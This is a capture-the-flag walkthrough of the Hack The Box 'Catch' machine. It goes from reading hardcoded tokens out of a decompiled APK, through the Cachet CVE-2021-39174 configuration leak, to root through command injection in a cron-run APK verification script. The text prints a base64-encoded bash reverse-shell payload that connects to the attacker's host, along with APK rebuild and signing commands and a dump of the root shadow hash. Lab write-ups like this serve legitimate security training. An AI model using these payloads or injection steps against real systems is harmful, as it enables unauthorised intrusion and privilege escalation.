Hack-The-Box-walkthrough[catch]

introduce

OS: Linux
Difficulty: Medium
Points: 30
Release: 12 Mar 2022
IP: 10.10.11.150

  • my htb rank

Enumeration

NMAP

1
2
3
4
5
6
7
┌──(root💀kali)-[~/hackthebox/machine/catch]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.11.150
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
5000/tcp open upnp?
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))

we found 4 opening ports, and 3 web service

one of them is Let’s Chat, and by searching google we found an Lets Chat provides a REST-like API

and i guess we may need to find some api token to access this api to get more information

and go to port 80, we found a apk can be downloaded

1
wget http://status.catch.htb/catchv1.0.apk

use apktool decompile it

1
apktool d catchv1.0.apk

and we found a lets_chat_token, awesome

1
2
3
4
5
6
7
┌──(root💀kali)-[~/hackthebox/machine/catch/catchv1.0]
└─# grep -Hnri "token"
res/values/public.xml:2292: <public type="string" name="gitea_token" id="0x7f0e0028" />
res/values/public.xml:2296: <public type="string" name="lets_chat_token" id="0x7f0e002c" />
res/values/public.xml:2353: <public type="string" name="slack_token" id="0x7f0e0065" />
res/values/strings.xml:43: <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
res/values/strings.xml:47: <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>

we can use this token like this in the request header

1
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
1
2
3
4
5
6
7
8
9
GET /rooms HTTP/1.1
Host: status.catch.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
Upgrade-Insecure-Requests: 1

response json data, we get 3 room id:

1
2
3
[{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","created":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b8708efe190b466d476bfb","slug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-14T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b86b3fd984e2451036eb18","slug":"employees","name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}]

now we need to get the message inside the room

1
2
3
4
5
6
7
8
9
10
GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1
Host: status.catch.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
Upgrade-Insecure-Requests: 1
If-None-Match: W/"a43-L5etm76UD8Y2ShJ4BslZfIAtBQk"

and we got a username, and password as well

1
{"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john :  E}V!mywu_69T4C}W`","posted":"2021-12-14T10:21:33.859Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},

we use this credentials to login on port 8000

we are in, and notice it’s a Cachet server, let’s google some exploits, and we found:

  • Cachet 2.4: Code Execution via Laravel Configuration Injection

let’s see CVE-2021-39174 - Configuration Leak part in this article, and we can leak some env variable by using ${}:

try ${DB_USERNAME} first, what you need to do is, intercept the request when changing the mail settings, than edit the mail host to ${DB_USERNAME} or any other variable from the env file, then hit test and check logs

and we get a username: will

now try try ${DB_PASSWORD}

and we get a password: s2#4Fg0_%3!

try this credential to login ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(root💀kali)-[~/hackthebox/machine/catch]
└─# ssh will@10.10.11.150
will@10.10.11.150's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed 23 Mar 2022 05:42:56 AM UTC

System load: 0.0
Usage of /: 78.5% of 16.61GB
Memory usage: 75%
Swap usage: 61%
Processes: 458
Users logged in: 0
IPv4 address for br-535b7cf3a728: 172.18.0.1
IPv4 address for br-fe1b5695b604: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.150
IPv6 address for eth0: dead:beef::250:56ff:feb9:7c11


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Mar 22 19:47:45 2022 from 10.10.14.3
will@catch:~$ id
uid=1000(will) gid=1000(will) groups=1000(will)
will@catch:~$ whoami
will
will@catch:~$ cat user.txt
79cad4e9915944ef86015a5f809b272d

and we get user flag

get root

i have used LinEnum.sh linpeas.sh and Linux_Exploit_Suggester.sh but didn’t find any thing useful to exploit

so i use pspy to enum the process owned buy root

1
2022/03/22 18:30:01 CMD: UID=0    PID=900727 | /bin/bash /opt/mdm/verify.sh

let’s check it out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
if [[ $? -eq 0 ]]; then
echo '[+] Signature Check Passed'
else
echo '[!] Signature Check Failed. Invalid Certificate.'
cleanup
exit
fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
if [ -z "$COMPILE_SDK_VER" ]; then
echo '[!] Failed to find target SDK version.'
cleanup
exit
else
if [ $COMPILE_SDK_VER -lt 18 ]; then
echo "[!] APK Doesn't meet the requirements"
cleanup
exit
fi
fi
}

####################
# Basic App Checks #
####################

app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}


###########
# Cleanup #
###########

cleanup() {
rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

the vuln is in app_check() function, it searching for APP_NAME inside the apk in /res/values/strings.xml

we can do some command injection as follow

1
2
3
......
<string name="app_name">Catch|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzEyMzQgMD4mMQ== | base64 -d | bash</string>
......

edit the file which has application name and do command injection there and make sure to sign the apk and build it using apktool 2.6.1

  • note: you have to use the latest apktool version 2.6.1 on github

this article may help Decompile and Recompile An android APK using Apktool

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~]
└─# java -jar apktool_2.6.1.jar b -f -d /root/hackthebox/machine/catch/catchv1.0 -o /root/hackthebox/machine/catch/catchv2.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

sign the apk, and verify it

1
2
3
4
5
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore catchv2.apk alias_name

jarsigner -verify -verbose -certs catchv2.apk

put this apk in DROPBOX=/opt/mdm/apk_bin folder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
will@catch:/dev/shm$ wget http://10.10.14.10/catchv2.apk
--2022-03-23 06:04:00-- http://10.10.14.10/catchv2.apk
Connecting to 10.10.14.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2821269 (2.7M) [application/vnd.android.package-archive]
Saving to: ‘catchv2.apk’

catchv2.apk 100%[==========================================================>] 2.69M 120KB/s in 22s

2022-03-23 06:04:24 (123 KB/s) - ‘catchv2.apk’ saved [2821269/2821269]

will@catch:/dev/shm$ cp catchv2.apk /opt/mdm/apk_bin

will@catch:~$ ls /opt/mdm/apk_bin
catchv2.apk

and after a few seconds, we get a root reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root💀kali)-[~/hackthebox/machine/catch]
└─# nc -lvp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.150.
Ncat: Connection from 10.10.11.150:44648.
bash: cannot set terminal process group (1154503): Inappropriate ioctl for device
bash: no job control in this shell
root@catch:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@catch:~# whoami
whoami
root
root@catch:~# cat /root/root.txt
cat /root/root.txt
6e42a8f7d76919e29557f3f0c8ff458a
root@catch:~# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$HJWtdM63SqnL6alL$h/FUZ0TNaCCrCgEzeuT9ityQcDmYcMCA0fErrvkZVBmf0TQJntGSRMDo.AXZA9V00.qAsZ04554.dUJcFszUM1:18976:0:99999:7:::

Summary of knowledge

  • Let’s Chat api enumeraton
  • apk decompile to leak Let’s Chat api token
  • CVE-2021-39174 - Configuration Leak env db username and password
  • privesc through suid sh scripts
  • apk recompile insert revshell command to get RCE

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…